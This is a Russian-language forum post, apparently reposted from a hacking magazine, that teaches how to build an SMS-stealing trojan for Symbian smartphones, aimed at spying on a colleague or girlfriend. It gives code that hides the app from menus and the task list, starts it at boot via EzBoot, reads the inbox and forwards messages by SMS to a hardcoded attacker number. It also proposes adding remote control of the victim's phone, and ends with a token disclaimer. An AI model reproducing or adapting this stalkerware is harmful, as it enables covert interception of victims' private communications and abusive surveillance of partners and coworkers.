Для кодеров, SMS шпионаж - Пишем смс - троян для смартфонов на базе Symbian

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
386
Points
83
Есть такие нехорошие люди, которые хотят много знать. Например, часто они интересуются, с кем переписывается смсками их коллега по работе или любимая девушка. Что делают такие плохие люди? Они дарят объекту своего интереса смартфон на базе Symbian с предусмотрительно установленным смс-трояном.

Что будем кодить?

Задача, в сущности, тривиальна, если не учитывать, что мы ориентируемся на смартфоны. Необходимо написать приложение, которое невидимо в системе, автоматически стартует при включении телефона и отсылает все входящие/исходящие смс при их поступлении/отправке, либо просто сливает все смс из определенной папки на номер хакера.

SDK и средства разработки

Так сложилось, что на данный момент существует дикое многообразие платформ смартфонов на Symbian. Две основные - это Series60 и UIQ, каждая из которых подразделяется на разные версии. Мы с тобой будем ориентироваться на смартфоны Series60 как на самые распространенные. Я использовал SDK для версии ОС 6.1.

Тут хотелось бы прояснить такой момент: в API Symbian существует совместимость снизу вверх, то есть приложение, написанное для более ранних систем в большинстве случаев будет работать на более поздних (кроме Symbian v9). Поэтому я выбрал наиболее младшую версию ОС, чтобы охватить наибольшее количество поддерживаемых моделей. Что касается установки SDK, то этот процесс описан не один раз, поэтому на этот раз мы обойдемся без подробностей (в Кодинге мы уже писали на эту тему: http://www.xakep.ru//magazine/xa/068/102/1.asp). Для разработки ты можешь использовать одну из широко распространенных IDE: CodeWarrior, Borland C++ BuilderX MObile Edition, Eclipse и VS. Лично я советую использовать связку Visual Studio.NET + Carbide.VS. Carbide - это надстройка над студией, позволяющая создавать проекты Symbian OS Project в удобной среде от Microsoft. Кроме того, использование этого инструментария поможет избавиться от разного рода проблем, описанию которых можно было бы посвятить целую книгу.

С момента установки и настройки необходимого для разработки ПО будь готов к тому, что твоими верными друзьями станут SDK Help и форумы разработчиков (сайты с полезной информацией приведены во врезке). Само собой, вся информация на английском, поэтому, если ты его не знаешь в необходимом для чтения документации объеме, совсем не факт, что у тебя получится собрать даже банальный helloworld.

Особенности кодинга под Symbian

Кодить мы будем на бескомпромиссном и жестком C++. Создай в VS проект New Symbian Project, а в качестве шаблона выбери S60 EIKON Control Based Application (HelloWorld). Будет сгенерирован базовый проект, который необходимо досконально изучить для понимания важнейших принципов кодинга под Symbian. Пусть тебя не пугают зверские названия классов, методов и переменных, в Symbian C++ принято отказываться от венгерской конвенции, поэтому настоятельно рекомендую изучить документ "Naming conventions". Также в В symbian не поддерживаются стандартные исключения C++, а введена своя метода, направленная на предотвращение утечек памяти. С этой же целью используются двухфазные конструкторы. Объекты принято создавать так:

Code:
CMySessionObserver* observer=new(ELeave) CMySessionObserver;

CleanupStack::PushL(observer);

Обрати внимание, что оператор new перегружен и используется с параметром ELeave, этот механизм позволяет аварийно завершить программу и высвободить системные ресурсы в случае, если оператору new не удалось адресовать необходимую память. После создания объекта указатель помещается на связанный с каждым потоком выполнения CleanupStack. Каркас приложения (application framework) состоит из четырех основных классов - Application, Document, AppUI и Container. Все они наследуются от системных классов и служат для, соответственно, создания документа приложения, создания UI, обработки событий, перерисовки приложения и других задач. Советую тебе изучить раздел "Application Framework" в документации. После компиляции и сборки проекта, приложение можно протестировать в эмуляторе. Думаю, как собрать инсталляционный файл для мобилы, ты разберешься.

Теперь будем постепенно добиваться поставленной цели и сделаем наше приложение невидимым.

Делаем невидимку

Само собой, вряд ли наша система скрытого наблюдения будет представлять какую-то ценность, если после установки в телефон, жертва увидит его в меню или в Task Meneger. Поэтому сейчас мы немного припрячем нашу программу :). Как ты, скорее всего, уже знаешь, при сборке проекта создается aif-файл (application information file), который содержит информацию о нашей сборке. Для того, чтобы придать программе необходимые свойства, нужно модифицировать структуру AIF_DATA, находящуюся в файле OurMegaAppaif.rss, изменив в ней необходимые поля. Нас интересует поле hidden, которому нужно задать значение KAppIsHidden. Выглядит это примерно так:

Code:
RESOURCE AIF_DATA

{

app_uid=0x0871aba4; //уникальный идентификатор приложения

...

hidden = KAppIsHidden; //прячем иконку

}

После этого необходимо переопределить виртуальную функцию UpdateTaskNameL, которая отвечает за отображение приложения в тасклисте. Для этого добавляем в заголовочный файл документа строку в объявление класса Document:

virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName);

После чего в реализацию класса документа добавляем:

void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) // конструкция :: играет роль namespace

{

CAknDocument::UpdateTaskNameL(aWgName); //вызывается системная функция UpdateTaskNameL

aWgName->SetHidden(ETrue); //Прячем приложение из контакт-листа

aWgName->SetSystem(ETrue);

}

После этого в конструктор класса AppUI вписываем следующие строки:

void CXaSMSAppUi::ConstructL()

{

BaseConstructL();

CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус

CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);

...

}

Это необходимо для того, чтобы наше приложение никогда не могло получить фокус, даже если жертва найдет в файловой системе исполняемый.

Делаем автозапуск

После того, как мы скрыли наше приложение от любопытных пользовательских глаз, необходимо заставить его автоматически запускаться при старте телефона.

Для этого обычно используется так называемые recognizers, которые вообще говоря предназначены для идентификации MIME типов. Это нужно, например, чтобы сопоставить определенные типы документов с программой-обработчиком. Но рекогнайзеры также используют и при автостарте программ. В журнале, к сожалению, не хватит места, чтобы полностью рассказать теорию про рекогнайзеров, поэтому я оставлю на диске доку для дальнейшего изучения материала, а сам предложу использовать более простой путь - разработку парней из NewLC.com, которые собрали sis-файл, который, будучи интегрирован в нашу инсталляшку, будет запускать приложение при загрузке телефона.

Называется эта прога EzBoot и найти ее ты можешь или на NewLC.com или на нашем диске. Для работы нужно свершить следующее:

В папке "/sis/" нашего проекта (или в любой другой папке, где находится ourApp.pkg) создается файл ourApp.boot с единственной строкой:
boot:\system\apps\ourApp\ourApp.app

Эта строка указывает адрес нашего приложения в смартфоне.

В файл ourApp.pkg добавляем следующие строки:
Code:
"ourApp.boot" -"!:\system\programs\ezboot\boot\ourApp.boot" //команда на копирование файла ourApp.boot в смартфон @"ezboot.sis",(0x101FD000)

// подключение инсталлятора ezboot к нашему.

Все, при установке нашей программы на смартфон, будут установлены как наше приложение, так и загрузчик.

Ваяем функционал трояна

В архитектуре приложений Symbian базовой единицей является entry. К примеру, sms всегда состоит из одной этой самой entry, а MMS - из нескольких. К нашей радости, в Symbian существуют готовые классы, позволяющие взаимодействовать с сервером сообщений. Вот основные из них:

CMsvEntry - позволяет создавать, перемещать, удалять и получать информацию из entry.

TMsvEntry - служит для получения и изменении информации об entry
Сервер сообщений может обрабатывать асинхронные запросы от клиентов, которые взаимодействуют с сервером с использованием так называемых объектов сессии, которые являются экземплярами класса CMsvSession. Как создать сессию и получить доступ к папке входящих сообщений ты можешь увидеть в коде во врезке "Подключаемся к серверу сообщений и творим зло в папке входящих смс". После получения доступа к входящим смс, мы каждое сообщение отправим на номер хакера :). Как это реализовано, ты можешь посмотреть в исходниках. А как создать смс ты можешь посмотреть на врезке "Создаем sms". Рекомендую изучить этот исходник изучить вдоль и поперек, особое внимание уделив подключаемым библиотекам.

Подключаемся к серверу сообщений и творим зло в папке входящих смс:

Code:
CMySessionObserver* observer=new(ELeave)CMySessionObserver;

CleanupStack::PushL(observer); //необходимый для создания сессии объект, унаследованный от MMsvSessionObserver

CMsvSession* session=CMsvSession::OpenSyncL(*observer);

CleanupStack::PushL(session); //создаем объект сессии

TMsvSelectionOrdering order(KMsvNoGrouping,EMsvSortByDate,ETrue); //объект, определящий порядок сортировки sms

CMsvEntry* inboxEntry=CMsvEntry::NewL(*session,KMsvGlobalInBoxIndexEntryId,order);

CleanupStack::PushL(inboxEntry); //Выбираем входящие сообщения

CMsvEntrySelection* selection=inboxEntry->ChildrenWithTypeL(KUidMsvMessageEntry);

CleanupStack::PushL(selection); //создаем список сообщений в Inbox

TMsvEntry messageEntry; // создаем объект для entry

TMsvId owningServiceId=KMsvDraftEntryId;

const TInt count(selection->Count()); //количество сообщений в Inbox

for (TInt i=0;i<count;i++)

{

User::LeaveIfError(session->GetEntry((*selection)[0],owningServiceId,messageEntry)); //на данной итерации messageEntry - i-я смска в Inbox :)

//творим зло

}

CleanupStack::PopAndDestroy(4); //освобождаем память

Создаем смс

void CXaSendSms::SMSFunc(TDesC &aRecipientAddress)

{

CSendAsObserver *anObserver = new CSendAsObserver();

CSendAs* aSendAs = CSendAs::NewL(*anObserver); //создаем класс, отвечающий за отправку смс

CleanupStack::PushL(aSendAs);

aSendAs->AddMtmCapabilityL(KUidMsvMtmQueryEditorUid,EFalse);

aSendAs->SetMtmL(KUidMsgTypeSMS); //устанавливаем тип сообщения - sms

aSendAs->CreateMessageL(); //создаем сообщение

aSendAs->AddRecipientL(aRecipientAddress); //добавляем адрес получателя

CRichText& messageBody = aSendAs->ClientMtm().Body(); //инициализируем тело сообщения

messageBody.Reset();

_LIT(KTestSmsMsg,"Neftis"); //так в Symbian C++ определяются строки

messageBody.InsertL(0,KTestSmsMsg); //вставляем в сообщение текст

aSendAs->SaveMessageL(ETrue);

CleanupStack::PopAndDestroy(aSendAs);

}

//потом эту функцию в теле программы используем так:

_LIT16(KData,"+79162198255"); //создаем строку с номером Хакера

TBufC16<13> str(KData); //преобразовываем ее к типу TDesC &

MSFunc(str.Left(12)); //создаем смс

Вместо заключения

В этой статье мы рассмотрели, как создать простенький смс-троян для смартфона. Функционал можно расширить по своему усмотрению, ведь фантазия и программерские возможности нам это позволяют. Например, легко добавить возможность управления чужой мобилой за счет посылки специальных команд с определенного номера и творить на ней ужасный произвол :). Дело за малым - внедрить прогу в аппарат жертвы.

WWW

http://club60.org - пожалуй, единственный стоящий источник информации о Symbian на русском языке
NewLC.com - весьма познавательный ресурс
http://discussion.forum.nokia.com - здесь можно найти решение практически любой проблемы

INFO

Наша программка будет работать на большей части смартфонов под Symbian :)

WARNINIG

Информация в статье представлена исключительно в образовательных целях! Мы не несем ответственности за противозаконное использование этой информации.
 
Top